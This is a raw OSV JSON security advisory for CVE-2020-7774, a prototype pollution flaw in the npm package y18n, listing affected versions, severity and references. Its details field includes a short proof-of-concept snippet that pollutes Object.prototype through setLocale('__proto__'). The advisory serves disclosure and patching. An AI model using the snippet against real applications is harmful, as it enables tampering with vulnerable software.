原始 OSV JSON
{
"id": "GHSA-c4w7-xm78-47vh",
"aliases": [
"CVE-2020-7774"
],
"details": "### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. \n\n### POC\n\n```js\nconst y18n = require('y18n')();\n\ny18n.setLocale('__proto__');\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.",
"summary": "Prototype Pollution in y18n",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.2"
}
]
}
],
"package": {
"name": "y18n",
"ecosystem": "npm"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.1"
}
]
}
],
"package": {
"name": "y18n",
"ecosystem": "npm"
},
"versions": [
"4.0.0"
]
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
]
}
],
"package": {
"name": "y18n",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-07T20:22:08Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
}
],
"published": "2021-03-29T16:05:12Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7774",
"type": "ADVISORY"
},
{
"url": "https://github.com/yargs/y18n/issues/96",
"type": "WEB"
},
{
"url": "https://github.com/yargs/y18n/pull/108",
"type": "WEB"
},
{
"url": "https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3",
"type": "WEB"
},
{
"url": "https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25",
"type": "WEB"
},
{
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf",
"type": "WEB"
},
{
"url": "https://github.com/yargs/y18n",
"type": "PACKAGE"
},
{
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JS-Y18N-1021887",
"type": "WEB"
},
{
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-20",
"CWE-915"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": "2020-11-17T13:15:00Z",
"github_reviewed_at": "2021-03-12T21:23:11Z"
}
}